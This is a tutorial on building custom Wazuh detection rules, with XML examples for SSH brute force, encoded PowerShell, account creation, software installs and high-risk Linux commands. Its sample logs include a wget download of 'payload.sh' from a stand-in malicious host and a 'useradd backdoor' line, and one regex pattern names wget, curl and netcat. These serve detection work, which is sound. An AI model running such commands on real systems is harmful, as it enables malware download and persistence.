Security teams rely on detection rules to identify suspicious activity, policy violations, and indicators of compromise across their infrastructure.
In Wazuh, rules are the core component that transforms raw log data into actionable security alerts.
Every alert generated by Wazuh is the result of one or more detection rules being evaluated against incoming events.
While Wazuh includes thousands of built-in rules that cover common security scenarios such as authentication failures, malware activity, system changes, and network threats, no two environments are exactly alike.
Organizations often have unique applications, custom workflows, proprietary systems, and internal security requirements that default rules simply cannot account for.
This is where custom detection rules become invaluable.
By creating your own Wazuh rules, you can detect organization-specific threats, reduce alert fatigue, improve visibility into critical systems, and strengthen your overall security monitoring strategy.
Whether you’re monitoring custom application logs, tracking privileged account activity, or identifying suspicious behavior unique to your environment, custom rules allow you to tailor Wazuh to your exact needs.
Uses Cases For Custom Wazuh Rules
Common use cases for custom Wazuh rules include:
- Detecting failed login attempts in proprietary applications
- Monitoring sensitive file modifications
- Identifying unauthorized administrative actions
- Alerting on specific command executions
- Tracking business-critical application errors
- Detecting compliance violations
- Creating custom threat hunting indicators
According to guidance from the MITRE ATT&CK Framework, effective detection engineering requires organizations to develop environment-specific detections rather than relying solely on generic signatures.
Similarly, the NIST Cybersecurity Framework emphasizes continuous monitoring and customized detection capabilities as key elements of a mature security program.
In this guide, you’ll learn how Wazuh rules work behind the scenes, where custom rules should be stored, how to create new detection logic safely, how rule inheritance and chaining operate, and how to build practical custom detection rules with real-world examples.
What We Will Cover
Throughout this guide, we’ll cover the complete lifecycle of custom rule development:
- Understanding the Wazuh detection pipeline
- Learning how rules and decoders interact
- Finding and extending existing rules
- Creating custom rule logic
- Building field-based detections
- Using regular expressions
- Implementing multi-stage correlation
- Testing rules before deployment
- Troubleshooting common issues
- Managing rules at scale
By the end, you’ll be able to create, test, and deploy your own Wazuh detection rules with confidence.
If you’re new to Wazuh deployment, read How to Install a Wazuh Agent on Windows Server before creating custom detections.
You may also find Wazuh Agent Not Connecting to Manager? 12 Fixes That Actually Work helpful when troubleshooting log collection issues that prevent rules from triggering.
Understanding How Wazuh Rules Work
Before creating custom rules, it’s important to understand how the Wazuh detection engine processes events.
Many rule configuration issues occur because users focus only on the rule itself without understanding the entire detection pipeline.
The Wazuh Detection Pipeline
Every event processed by Wazuh passes through several stages before an alert is generated.
Log Collection
The process begins with log collection.
Wazuh agents collect data from endpoints, operating systems, applications, cloud services, network devices, and security tools.
Depending on the source, logs may originate from:
- Windows Event Logs
- Linux syslog files
- Application logs
- Auditd events
- Cloud platforms
- Security appliances
- Third-party integrations
The collected logs are forwarded to the Wazuh Manager for analysis.
Decoders
Once a log reaches the manager, Wazuh applies a decoder.
Decoders extract structured information from raw log messages and convert them into fields that rules can evaluate.
Examples include:
- Source IP addresses
- Usernames
- Process names
- Event IDs
- File paths
- Command-line arguments
Without a successful decoder match, a rule may not have access to the data required for detection.
For example:
Failed login from 192.168.1.50 for user admin
A decoder might extract:
srcip = 192.168.1.50
user = admin
action = failed_login
These fields become available to the rule engine.
Rule Evaluation
After decoding, Wazuh evaluates the event against its rule set.
Rules are processed according to their hierarchy and matching criteria. A rule may check:
- Event IDs
- Decoded fields
- Regular expressions
- Frequency thresholds
- Time windows
- Previous rule matches
If conditions are satisfied, the rule is triggered.
Alert Generation
When a rule matches successfully, Wazuh generates an alert.
The alert contains information such as:
- Rule ID
- Rule level
- Description
- Event details
- Timestamp
- MITRE ATT&CK mapping (if configured)
These alerts can then appear in the Wazuh dashboard, be forwarded to SIEM platforms, or trigger automated response actions.
Rule Hierarchy in Wazuh
One of the most powerful aspects of Wazuh is its hierarchical rule structure.
Rather than evaluating every rule independently, Wazuh allows rules to build upon previous matches.
Parent and Child Rules
A parent rule performs the initial match.
A child rule evaluates additional conditions after the parent has matched.
For example:
<rule id="100100" level="3">
<match>Failed login</match>
<description>Login failure detected</description>
</rule>
A child rule could extend it:
<rule id="100101" level="10">
<if_sid>100100</if_sid>
<match>admin</match>
<description>Admin login failure detected</description>
</rule>
The second rule only runs if the first rule already matched.
Rule Inheritance
Rule inheritance allows custom rules to reuse logic from existing rules.
Instead of recreating complex detection logic, you can reference existing rules using:
<if_sid>
or
<if_group>
This reduces maintenance effort and improves consistency.
Rule Chaining
Rule chaining enables multiple detection stages.
For example:
- Failed login detected
- Multiple failures detected
- Possible brute-force attack detected
Each rule builds upon previous matches, creating increasingly sophisticated detections.
This approach is commonly used for behavioral analytics and attack sequence detection.
Built-In Rules vs Custom Rules
Wazuh ships with an extensive library of prebuilt rules that cover many common security use cases.
Understanding when to use existing rules and when to create new ones is essential.
Advantages of Using Existing Rules
Built-in rules offer several benefits:
- Regularly maintained by the Wazuh community
- Thoroughly tested across environments
- Lower risk of false positives
- Easier upgrades
- MITRE ATT&CK mappings already included
Before creating a custom rule, always verify whether an existing rule already addresses your use case.
The official Wazuh ruleset documentation is an excellent starting point.
Wazuh Ruleset Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/index.html
When to Create Your Own Rules
Custom rules are appropriate when:
- Monitoring proprietary applications
- Detecting organization-specific threats
- Enforcing internal security policies
- Tracking business workflows
- Creating custom compliance controls
- Reducing excessive false positives
If your environment generates logs that Wazuh’s default rules do not understand, custom detection logic is often the best solution.
Risks of Modifying Default Rules
A common mistake among new administrators is directly editing built-in rule files.
This approach creates several problems:
- Changes may be overwritten during upgrades
- Troubleshooting becomes more difficult
- Future rule updates can introduce conflicts
- Rule integrity is harder to maintain
The Wazuh team and experienced practitioners strongly recommend leaving default rules untouched and placing customizations in dedicated local rule files instead.
As Wazuh founder Santiago Bassett and the broader Wazuh community emphasize throughout official documentation, custom rules should be isolated from vendor-maintained rulesets whenever possible to simplify upgrades and long-term maintenance.
Where Wazuh Stores Rules
Understanding rule locations helps prevent accidental configuration mistakes.
Default Rule Directories
Built-in Wazuh rules are typically located in:
/var/ossec/ruleset/rules/
This directory contains the official rules maintained by the Wazuh project.
Administrators should avoid making direct modifications here.
Custom Rule Files
Custom rules are generally stored in:
/var/ossec/etc/rules/
The most commonly used file is:
local_rules.xml
This file is specifically designed for administrator-created rules and survives platform upgrades.
Rule Loading Order
When the manager starts, Wazuh loads:
- Built-in decoders
- Built-in rules
- Custom decoders
- Custom rules
Because custom rules are loaded after the default ruleset, they can extend or override detection behavior without requiring modifications to the original files.
This design is one of the reasons why custom rules are considered a best practice for production Wazuh environments.
If you’re evaluating how Wazuh’s detection capabilities compare to other platforms, see Wazuh vs OSSEC, Wazuh vs Splunk, and Wazuh vs SentinelOne for deeper comparisons of rule-based detection, threat visibility, and alerting capabilities.
Prerequisites
Before creating custom detection rules in Wazuh, make sure you have the necessary access, knowledge, and tools available.
While creating simple rules is relatively straightforward, understanding how Wazuh processes events will save you significant troubleshooting time later.
Access to the Wazuh Manager
Custom rules are created and managed on the Wazuh Manager.
You should have:
- SSH or console access to the manager
- Permission to edit Wazuh configuration files
- Ability to restart Wazuh services when necessary
- Access to Wazuh logs for troubleshooting
For most Linux deployments, you’ll need root or sudo privileges.
Example:
sudo su -
or
sudo nano /var/ossec/etc/rules/local_rules.xml
Without administrative access, you won’t be able to deploy or test custom detection logic.
Basic Understanding of Wazuh Decoders
Before writing rules, you should understand how decoders work.
A common misconception is that rules analyze raw log messages directly. In reality, Wazuh typically uses decoders to extract meaningful fields from logs before rules evaluate them.
For example, a decoder may extract:
srcip=192.168.1.25
user=admin
action=failed_login
A rule can then inspect those fields rather than parsing the raw log repeatedly.
If a decoder fails to recognize a log, your custom rule may never trigger—even if the rule itself is correctly written.
Because of this dependency, experienced Wazuh practitioners typically verify decoder behavior before creating custom rules.
Wazuh Decoder Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/decoders/index.html
If you’re troubleshooting data collection issues before working with custom rules, see Wazuh Agent Not Connecting to Manager? 12 Proven Fixes.
Familiarity with XML Syntax
Wazuh rules are written in XML.
You do not need to be an XML expert, but you should understand:
- Opening and closing tags
- Nested elements
- Attributes
- Proper indentation
- XML validation concepts
For example:
<rule id="100100" level="10">
<description>Example rule</description>
</rule>
A missing closing tag can prevent Wazuh from loading your ruleset correctly.
For larger environments, validating XML before deployment is considered a best practice.
Tools You’ll Need
Several tools will make rule development significantly easier.
Wazuh Manager
The Wazuh Manager is where custom rules are stored and executed.
Typical rule locations include:
/var/ossec/etc/rules/
and
/var/ossec/etc/rules/local_rules.xml
This is where you’ll spend most of your time during rule development.
Terminal Access
Most rule creation and testing tasks are performed from the command line.
You’ll use terminal access to:
- Edit rule files
- Search existing rules
- Restart services
- Test logs
- Review alerts
Common tools include:
nano
vim
grep
cat
tail
systemctl
Sample Log Data
Having representative logs is critical.
The best custom rules are built using actual logs from production systems rather than assumptions about log formats.
Examples include:
- Authentication logs
- Web server logs
- Application logs
- Firewall events
- Audit logs
Using real log samples dramatically reduces false positives and missed detections.
Log Testing Utilities
Wazuh includes built-in testing tools that should be part of every rule developer’s workflow.
The most important utility is:
/var/ossec/bin/wazuh-logtest
This tool allows you to:
- Test decoders
- Validate rule matches
- Verify alert levels
- Troubleshoot rule logic
- Simulate events safely
Many experienced Wazuh engineers use wazuh-logtest extensively before deploying rules into production because it eliminates much of the guesswork involved in detection engineering.
Wazuh Logtest Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/testing.html
Wazuh Rule Structure Explained
Before writing your first custom detection, it’s important to understand the building blocks of a Wazuh rule.
A rule consists of conditions that determine whether a particular event should generate an alert.
These conditions can evaluate decoded fields, regular expressions, previous rule matches, event frequency, and much more.
Anatomy of a Wazuh Rule
Consider the following example:
<rule id="100100" level="10">
<if_sid>5710</if_sid>
<match>failed login</match>
<description>Custom failed login detection</description>
</rule>
Let’s break down what each component does.
<rule>
The <rule> element defines a new detection rule.
Attributes:
<rule id="100100" level="10">
specify:
- Unique rule identifier
- Alert severity level
Every rule must include these attributes.
<if_sid>
<if_sid>5710</if_sid>
This tells Wazuh:
“Only evaluate this rule if rule 5710 has already matched.”
This is one of the most powerful features in Wazuh because it allows rule inheritance and chaining.
<match>
<match>failed login</match>
The rule searches for this text pattern within the event.
If the pattern is found, the condition evaluates as true.
<description>
<description>Custom failed login detection</description>
This text appears in generated alerts and dashboards.
Descriptions should be specific and easy for analysts to understand.
Important Rule Elements
The following tags are used most frequently when building custom detections.
rule id
Every rule requires a unique ID.
Example:
id="100100"
Best practice is to use IDs in the custom-rule range recommended by Wazuh to avoid conflicts with built-in rules.
Many administrators reserve blocks of IDs for different teams or projects.
level
The level attribute determines alert severity.
Example:
level="10"
Higher levels indicate more significant security events.
The level directly influences analyst prioritization and automated response workflows.
description
Descriptions explain what the rule detected.
Example:
<description>Multiple failed SSH login attempts detected</description>
A good description should immediately communicate the security concern.
match
The <match> tag searches for literal strings.
Example:
<match>authentication failed</match>
This is useful when log messages contain predictable text.
regex
The <regex> tag enables pattern matching using regular expressions.
Example:
<regex>Failed password for .* from .* port</regex>
Regular expressions are more flexible than simple string matching but should be used carefully because complex expressions can increase processing overhead.
field
The <field> element evaluates decoded fields.
Example:
<field name="user">admin</field>
This approach is often more reliable than matching raw log text because it leverages decoder output.
if_sid
The <if_sid> element references a parent rule.
Example:
<if_sid>5710</if_sid>
Only events that have already matched the parent rule can trigger the child rule.
if_group
The <if_group> element references a rule group.
Example:
<if_group>authentication_failed</if_group>
This allows a rule to inherit behavior from multiple related detections.
group
Groups organize rules into categories.
Example:
<group>authentication,custom_rules,</group>
Groups help:
- Improve rule organization
- Simplify searches
- Support rule inheritance
- Enable correlation logic
Understanding Alert Levels
One of the most important decisions when creating a rule is choosing an appropriate alert level.
Setting levels too high creates alert fatigue.
Setting levels too low may cause serious threats to be overlooked.
Levels 0–15 Explained
Although organizations can interpret severity differently, the following general guidelines are widely used:
| Level | Typical Meaning |
|---|---|
| 0 | Ignored event |
| 1–3 | Informational activity |
| 4–6 | Low-priority security event |
| 7–9 | Suspicious activity |
| 10–12 | High-priority security concern |
| 13–15 | Critical security event |
Examples:
| Event | Suggested Level |
|---|---|
| Successful login | 3 |
| Single failed login | 5 |
| Repeated failed logins | 8 |
| Privilege escalation attempt | 10 |
| Confirmed malware execution | 12 |
| Active compromise indicator | 15 |
Choosing the Appropriate Severity
When selecting a level, consider:
- Potential business impact
- Likelihood of malicious activity
- Expected event frequency
- Incident response requirements
- Compliance obligations
Security expert and detection engineering advocate Anton Chuvakin has repeatedly emphasized that excessive high-severity alerts often reduce SOC effectiveness because analysts become overwhelmed by noise.
Effective detection engineering focuses on alert quality rather than alert quantity.
As a general rule:
- Start conservatively
- Test alert volumes
- Review analyst feedback
- Increase severity only when justified by risk
This approach helps maintain a high signal-to-noise ratio within your Wazuh deployment.
Finding Existing Rules Before Creating New Ones
One of the most common mistakes among new Wazuh administrators is creating rules that already exist.
Before writing any custom detection, always investigate whether a built-in rule can be reused, extended, or inherited.
This saves time, reduces maintenance effort, and minimizes the risk of introducing duplicate detections.
Why Reusing Existing Rules Is Recommended
Wazuh ships with thousands of prebuilt rules developed and tested by the Wazuh community.
Advantages of reusing existing rules include:
- Less custom code to maintain
- Easier upgrades
- Lower false-positive rates
- Better compatibility with future releases
- Faster deployment
In many cases, a simple child rule using <if_sid> can accomplish your goal without requiring an entirely new detection.
Security engineering teams frequently follow a principle of:
Extend first, create second.
In other words, leverage existing detections whenever possible before developing new ones from scratch.
Searching Through Wazuh Rules
The first step is identifying whether a relevant rule already exists.
On the Wazuh Manager, you can search rule files using:
grep -Ri "ssh" /var/ossec/ruleset/rules/
This command recursively searches the ruleset for references to SSH-related detections.
You can replace “ssh” with:
authentication
sudo
powershell
apache
nginx
firewall
failed login
or any keyword relevant to your use case.
For example:
grep -Ri "powershell" /var/ossec/ruleset/rules/
might reveal existing detections you can extend rather than recreate.
Useful Search Techniques
Search by:
- Event type
- Log source
- Decoder name
- MITRE technique
- Application name
- Existing rule description
The more thoroughly you search, the less custom code you’ll need to maintain.
Using Rule IDs as Parents
After locating a relevant rule, inspect its ID.
For example:
<rule id="5710" level="5">
You can extend it using:
<rule id="100100" level="10">
<if_sid>5710</if_sid>
<description>Custom extension rule</description>
</rule>
This approach preserves the original detection logic while adding your own requirements.
Benefits include:
- Reduced complexity
- Easier troubleshooting
- Better compatibility with updates
- Faster development
Many advanced Wazuh deployments rely heavily on parent-child rule relationships rather than standalone custom rules.
Identifying Candidate Rules for Extension
A good candidate rule usually meets the following criteria:
- Correctly identifies the event type
- Uses the appropriate decoder
- Produces reliable alerts
- Contains most of the logic you need
You may only need to add:
- Additional field checks
- Severity changes
- Environment-specific conditions
- Correlation logic
- Frequency thresholds
For example, a built-in failed-login rule may already detect authentication failures.
Instead of rebuilding the detection entirely, you could create a child rule that triggers only when:
- The username is “admin”
- The source IP is external
- Multiple failures occur within a short period
This approach produces cleaner, more maintainable detection logic.
Official Wazuh Ruleset Repository: https://github.com/wazuh/wazuh-ruleset
In the next section, we’ll begin creating actual custom detection rules and use wazuh-logtest to verify that they trigger correctly before deployment.
Creating Your First Custom Rule
Now that you understand how Wazuh rules work, it’s time to create your first custom detection rule.
For this example, we’ll use the standard local_rules.xml file, which is specifically designed for administrator-created rules.
Step 1: Open the Local Rules File
On the Wazuh Manager, open the local rules file:
sudo nano /var/ossec/etc/rules/local_rules.xml
If the file already contains custom rules, add your new rule within the existing <group> section.
A typical file looks like:
<group name="local,">
<!-- Custom rules go here -->
</group>
Avoid modifying files located under:
/var/ossec/ruleset/rules/
These files belong to the official Wazuh ruleset and may be overwritten during upgrades.
Step 2: Create a Basic Rule
Let’s create a simple rule that detects a specific text string.
Example:
<rule id="100100" level="5">
<match>unauthorized access</match>
<description>Unauthorized access message detected</description>
<group>custom_rules,security_monitoring,</group>
</rule>
This rule tells Wazuh:
- Search for the text “unauthorized access”
- Generate a level 5 alert
- Display the specified description
- Categorize the alert into custom rule groups
Choosing Rule IDs
When creating custom rules:
- Use IDs that do not conflict with built-in rules
- Keep custom IDs grouped together
- Document your ID ranges
Many administrators use IDs above 100000 for custom detections.
Example:
100100 - Authentication Rules
100200 - PowerShell Rules
100300 - Compliance Rules
100400 - Application Rules
This makes long-term maintenance significantly easier.
Step 3: Save and Validate the Rule
After saving the file, validate the XML syntax.
Even a single missing tag can prevent Wazuh from loading the ruleset.
You can also use:
xmllint /var/ossec/etc/rules/local_rules.xml
If no errors are returned, your XML structure is likely valid.
For additional validation, test the rule using:
/var/ossec/bin/wazuh-logtest
This tool should become part of your regular workflow whenever you create or modify detection logic.
Step 4: Restart the Wazuh Manager
Once the rule has been saved, restart the manager:
sudo systemctl restart wazuh-manager
Wait a few moments for the service to reload the ruleset.
You can verify service status with:
sudo systemctl status wazuh-manager
If the service fails to start, review:
/var/ossec/logs/ossec.log
for XML or rule-loading errors.
Step 5: Verify the Rule Is Loaded
After restarting the manager, verify that the rule loaded successfully.
Check the Wazuh logs:
grep -i "rule" /var/ossec/logs/ossec.log
Look for:
- XML validation errors
- Duplicate rule IDs
- Invalid rule references
- Decoder issues
You can also test the rule directly with:
/var/ossec/bin/wazuh-logtest
Paste a sample event that should trigger the rule and verify that Wazuh generates the expected alert.
Official Wazuh Rule Testing Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/testing.html
If you’re still troubleshooting agent communication issues before testing custom detections, see Wazuh Agent Not Connecting to Manager? 12 Proven Fixes.
Example 1: Detect Multiple Failed SSH Login Attempts
One of the most common attack patterns observed in enterprise environments is SSH brute-force activity.
Attackers frequently attempt hundreds or thousands of password combinations against exposed Linux servers.
A custom correlation rule can help identify these attacks quickly.
Objective
Generate a high-severity alert when multiple SSH authentication failures occur within a short period of time.
Rather than alerting on every individual failure, we’ll detect repeated failures that may indicate a brute-force attack.
Sample Log Entry
Example SSH authentication failure:
Jul 10 14:02:11 web01 sshd[12345]: Failed password for invalid user admin from 192.168.1.50 port 55822 ssh2
Wazuh’s built-in SSH rules already recognize these events and assign them rule IDs.
We’ll build on top of those existing detections.
Create the Custom Rule
Add the following rule to local_rules.xml:
<rule id="100101" level="10" frequency="5" timeframe="300">
<if_sid>5710</if_sid>
<description>Multiple SSH authentication failures detected</description>
<group>authentication,ssh,bruteforce,</group>
</rule>
How It Works
Let’s examine each component:
| Element | Purpose |
|---|---|
| id=”100101″ | Unique custom rule ID |
| level=”10″ | High-priority alert |
| frequency=”5″ | Requires five events |
| timeframe=”300″ | Within five minutes |
| if_sid=”5710″ | Uses the built-in SSH failure rule |
| description | Alert message shown to analysts |
The rule triggers when:
- Rule 5710 matches an SSH authentication failure.
- Five matching events occur.
- The events happen within 300 seconds.
This correlation significantly reduces alert noise compared to generating an alert for every failed login.
Expected Alert Output
When triggered, Wazuh may generate an alert similar to:
{
"rule": {
"id": "100101",
"level": 10,
"description": "Multiple SSH authentication failures detected"
},
"agent": {
"name": "web01"
}
}
Security teams often use detections like this as the first stage of brute-force attack identification.
The detection can also be combined with Active Response actions such as IP blocking.
Example 2: Detect PowerShell Execution on Windows
PowerShell is one of the most frequently abused tools during post-compromise activity.
According to the MITRE ATT&CK PowerShell Technique (T1059.001), attackers commonly use PowerShell for:
- Reconnaissance
- Credential theft
- Persistence
- Malware execution
- Lateral movement
For this reason, many security teams create enhanced PowerShell monitoring rules.
Why Monitor PowerShell Activity
PowerShell is legitimate administrative software, which makes it attractive to attackers because its execution often appears normal.
Monitoring PowerShell activity helps identify:
- Suspicious script execution
- Encoded commands
- Living-off-the-land attacks
- Malware delivery techniques
Sample Event Log Entry
Example Windows event:
Process Create:
New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line: powershell.exe -EncodedCommand SQBFAFgA
This type of event is commonly collected through Sysmon or Windows Security Logging.
Create the Detection Rule
Add the following rule:
<rule id="100200" level="9">
<field name="win.eventdata.newProcessName">powershell.exe</field>
<description>PowerShell execution detected</description>
<group>windows,powershell,execution,</group>
</rule>
For environments concerned about encoded commands:
<rule id="100201" level="12">
<if_sid>100200</if_sid>
<match>EncodedCommand</match>
<description>Encoded PowerShell command execution detected</description>
</rule>
Rule Breakdown
The first rule:
- Detects PowerShell execution
- Uses decoded Windows event fields
- Generates a level 9 alert
The second rule:
- Extends the first rule
- Searches for encoded commands
- Generates a higher-severity alert
This parent-child structure keeps detections organized and scalable.
Testing the Rule
Launch PowerShell:
powershell.exe
Or execute:
powershell.exe -EncodedCommand SQBFAFgA
Then run:
/var/ossec/bin/wazuh-logtest
Verify that:
- Rule 100200 triggers for PowerShell execution
- Rule 100201 triggers for encoded commands
This validation process helps ensure your rule behaves as expected before deployment to production.
If you’re evaluating endpoint visibility capabilities, see Wazuh vs CrowdStrike, Wazuh vs SentinelOne, and Wazuh vs OpenEDR.
Example 3: Detect User Account Creation Events
Creating new user accounts is a common administrative task, but it is also a technique frequently used by attackers to establish persistence after gaining access to a system.
Monitoring account creation events helps security teams identify unauthorized user provisioning quickly.
Monitoring New User Creation
A newly created account may indicate:
- Legitimate administrative activity
- Insider threats
- Persistence mechanisms
- Privilege escalation attempts
- Unauthorized access following compromise
Many organizations generate alerts whenever a new account is created, especially on critical systems.
Sample Windows Security Event
Windows Security Event ID 4720 indicates user account creation.
Example:
A user account was created.
Security ID: DOMAIN\Admin
Account Name: jsmith
Event ID: 4720
This event is commonly collected by Wazuh agents monitoring Windows Event Logs.
Custom Rule Configuration
Create the following rule:
<rule id="100300" level="8">
<field name="win.system.eventID">4720</field>
<description>Windows user account created</description>
<group>windows,user_management,persistence,</group>
</rule>
For privileged environments, you may choose to increase the severity level.
Example:
<rule id="100301" level="12">
<if_sid>100300</if_sid>
<match>Administrator</match>
<description>Administrative account creation detected</description>
</rule>
Alert Interpretation
When the alert appears, analysts should investigate:
- Who created the account
- When it was created
- Whether a change request exists
- Whether elevated privileges were assigned
- Whether the activity aligns with normal operations
A single account creation event is not necessarily malicious, but it should always be reviewed within the context of surrounding activity.
Expected alert:
Rule ID: 100300
Level: 8
Description: Windows user account created
Organizations with compliance requirements often monitor account creation events as part of audit and governance programs.
Example 4: Detect Unauthorized Software Installation
Unauthorized software installation is a common security and compliance concern.
Attackers frequently install tools after gaining access, while employees may introduce unapproved applications that increase organizational risk.
Custom detection rules can help identify these events quickly.
Use Case Overview
Security teams often want to detect:
- Remote administration tools
- Cryptocurrency miners
- Unsanctioned software
- Hacking utilities
- Unapproved business applications
Detecting installations early can reduce dwell time and improve incident response.
Sample Logs
Example Windows installation event:
MsiInstaller:
Product Name: RemoteTool Pro
Installation completed successfully
Another example:
New software package installed:
RemoteTool Pro
The exact log format depends on:
- Windows Event Logs
- Sysmon
- Application logs
- Software deployment platforms
Custom Rule Example
Create a rule that identifies installation of a monitored application:
<rule id="100400" level="10">
<match>RemoteTool Pro</match>
<description>Monitored software installation detected</description>
<group>software_installation,compliance,</group>
</rule>
To monitor multiple applications:
<rule id="100401" level="10">
<regex>(RemoteTool Pro|ToolX|UnknownInstaller)</regex>
<description>Unauthorized software installation detected</description>
</rule>
Reducing False Positives
A common challenge with software-installation monitoring is distinguishing approved activity from suspicious activity.
Several strategies help reduce noise:
Use Parent Rules
Build on trusted Windows installation rules rather than matching raw text whenever possible.
Monitor Specific Hosts
Focus on:
- Domain controllers
- Production servers
- Sensitive workstations
rather than every endpoint.
Maintain an Approved Software List
Exclude known software deployment tools and approved applications.
Tune Alert Levels
For example:
| Scenario | Suggested Level |
|---|---|
| Approved software | 3–5 |
| Unknown software | 8–10 |
| Known malicious tool | 12–15 |
Well-tuned installation monitoring provides valuable visibility while minimizing unnecessary alerts.
MITRE ATT&CK Enterprise Matrix: https://attack.mitre.org/
Example 5: Detect Suspicious Command Execution on Linux
Linux systems often contain powerful administrative utilities that attackers leverage after gaining initial access.
Monitoring the execution of high-risk commands can help identify privilege escalation attempts, reconnaissance activity, and malicious post-exploitation behavior.
Monitoring High-Risk Commands
While many Linux commands are legitimate, certain commands frequently appear during attacks.
Examples include:
useraddusermodpasswdsudowgetcurlncnetcatchmodchownscpssh
Attackers commonly use these tools to:
- Create persistence
- Download malware
- Escalate privileges
- Move laterally
- Exfiltrate data
Many security teams configure custom detections for these commands on critical servers.
Sample Auditd Log
If Auditd is enabled, a command execution event may resemble:
type=EXECVE msg=audit(1715620000.123:452):
argc=3 a0="wget" a1="http://malicious-site.com/payload.sh"
Or:
type=EXECVE msg=audit(1715620012.456:453):
argc=2 a0="useradd" a1="backdoor"
These events provide excellent visibility into process execution activity.
Custom Detection Rule
The following rule detects execution of several high-risk commands:
<rule id="100500" level="10">
<regex>(wget|curl|nc|netcat|useradd)</regex>
<description>High-risk Linux command execution detected</description>
<group>linux,command_execution,auditd,</group>
</rule>
For even greater accuracy, consider matching decoded Auditd fields rather than raw log text whenever possible.
Example:
<rule id="100501" level="12">
<field name="audit.command">useradd</field>
<description>User account creation command executed</description>
</rule>
Security Benefits
Monitoring command execution can help identify:
- Unauthorized account creation
- Malware downloads
- Suspicious administrative activity
- Persistence mechanisms
- Insider threats
According to the MITRE ATT&CK Enterprise Framework, command-line execution remains one of the most common techniques used throughout the attack lifecycle, making it an excellent candidate for custom detection engineering.
Creating Rules Based on Specific Fields
One of the most effective ways to build accurate Wazuh detections is by matching decoded fields rather than raw log text.
Field-based matching is generally:
- More reliable
- Less prone to false positives
- Easier to maintain
- More resilient to log format changes
Because decoders extract structured data, rules can focus on meaningful attributes rather than entire log messages.
Matching Source IP Addresses
You can create rules that trigger only when activity originates from specific IP addresses.
Example:
<field name="srcip">10.10.10.50</field>
Common use cases:
- Monitoring known malicious IPs
- Tracking external access attempts
- Detecting communication from unauthorized networks
Matching Usernames
Many organizations monitor privileged or sensitive accounts.
Example:
<field name="user">administrator</field>
Use cases include:
- Privileged account monitoring
- Service account activity
- Executive account protection
- Compliance monitoring
Matching Process Names
Process monitoring is particularly useful for endpoint security.
Example:
<field name="process_name">powershell.exe</field>
Or:
<field name="process_name">cmd.exe</field>
This approach is often used to detect:
- Administrative tool usage
- Malware execution
- Living-off-the-land techniques
Matching Event IDs
Windows environments frequently use Event IDs as detection triggers.
Examples:
| Event ID | Meaning |
|---|---|
| 4624 | Successful login |
| 4625 | Failed login |
| 4720 | User account created |
| 4728 | User added to group |
| 4732 | User added to local group |
Matching Event IDs is often more reliable than matching event descriptions.
Field-Based Rule Example
The following rule detects creation of a new Windows user account:
<rule id="100600" level="8">
<field name="win.system.eventID">4720</field>
<description>Windows user account created</description>
<group>windows,user_management,</group>
</rule>
Benefits of this approach:
- Cleaner detection logic
- Better performance
- Reduced false positives
- Easier troubleshooting
Whenever a decoder exposes useful fields, field-based matching is typically preferable to raw text matching.
Wazuh Rule Syntax Documentation: https://documentation.wazuh.com/current/user-manual/ruleset/rules/index.html
Using Regular Expressions in Wazuh Rules
Regular expressions (regex) allow you to create flexible detection patterns that would be difficult or impossible with simple text matching.
Used correctly, regex can significantly improve the effectiveness of custom rules.
Why Regex Is Useful
Simple <match> conditions require exact text matches.
Regex enables:
- Pattern matching
- Wildcards
- Multiple keyword matching
- Complex string analysis
- Flexible detection logic
For example, a single regex can identify multiple suspicious commands without requiring separate rules.
Regex Syntax Basics
Some commonly used regex operators include:
| Pattern | Meaning |
|---|---|
| . | Any character |
| .* | Any number of characters |
| \d | Digit |
| \w | Word character |
| | | OR operator |
| ^ | Start of string |
| $ | End of string |
Examples:
powershell.*
Matches:
powershell.exe
powershell -enc
powershell -command
Another example:
(admin|root|administrator)
Matches any of those usernames.
Example: Match Specific File Extensions
Suppose you want to monitor potentially dangerous file types.
Example rule:
<rule id="100700" level="8">
<regex>\.(exe|dll|bat|ps1)$</regex>
<description>Executable file detected</description>
</rule>
This rule matches:
malware.exe
payload.dll
script.ps1
Example: Detect Encoded PowerShell Commands
Encoded PowerShell commands are commonly associated with malicious activity.
Example:
<rule id="100701" level="12">
<regex>EncodedCommand|-enc</regex>
<description>Encoded PowerShell execution detected</description>
</rule>
This detects:
powershell.exe -EncodedCommand
powershell.exe -enc
Many threat actors use encoded commands to evade simple detection logic.
Common Regex Mistakes
Overly Broad Patterns
Bad example:
.*
This matches virtually everything.
Excessive Wildcards
Bad example:
.*admin.*
This may produce unnecessary false positives.
Missing Anchors
Without anchors:
admin
may match unintended strings.
More precise:
^admin$
Lack of Testing
Always validate regex rules with:
/var/ossec/bin/wazuh-logtest
before deploying them into production.
Poorly designed regex patterns are one of the most common causes of false positives in custom Wazuh deployments.
Building Multi-Stage Detection Rules
Advanced threat detection often requires correlating multiple events rather than analyzing each event independently.
Wazuh supports this through rule correlation and multi-stage detection workflows.
Understanding Rule Correlation
Rule correlation allows Wazuh to:
- Track related events
- Detect attack sequences
- Reduce alert fatigue
- Identify suspicious behavior patterns
Instead of generating alerts for isolated events, correlated rules focus on meaningful attack activity.
Using if_sid
The most common correlation mechanism is:
<if_sid>5710</if_sid>
This means:
Only evaluate the current rule if rule 5710 has already matched.
This creates a parent-child relationship between rules.
Example:
<rule id="100800" level="8">
<if_sid>5710</if_sid>
<description>Extended SSH detection</description>
</rule>
Using if_matched_sid
For more advanced correlation, Wazuh supports:
<if_matched_sid>5710</if_matched_sid>
This checks whether a previous event matched a specific rule.
Unlike if_sid, which evaluates the current event, if_matched_sid enables correlation across multiple events.
This capability is useful for:
- Brute-force attacks
- Lateral movement
- Persistence detection
- Behavioral analytics
Frequency and Timeframe Correlation
Two powerful attributes are:
frequency="5"
timeframe="300"
Meaning:
- Five matching events
- Within 300 seconds
This enables threshold-based detections.
Example:
<rule id="100801" level="12"
frequency="5"
timeframe="300">
<if_matched_sid>5710</if_matched_sid>
<description>Repeated authentication failures detected</description>
</rule>
Example: Brute Force Detection Workflow
A typical SSH brute-force detection workflow might look like:
Stage 1
Built-in rule:
5710 = SSH authentication failure
Stage 2
Custom correlation:
100801 = Five failures within five minutes
Stage 3
Critical escalation:
100802 = Twenty failures within ten minutes
This layered approach helps analysts prioritize serious attacks while reducing noise from isolated login failures.
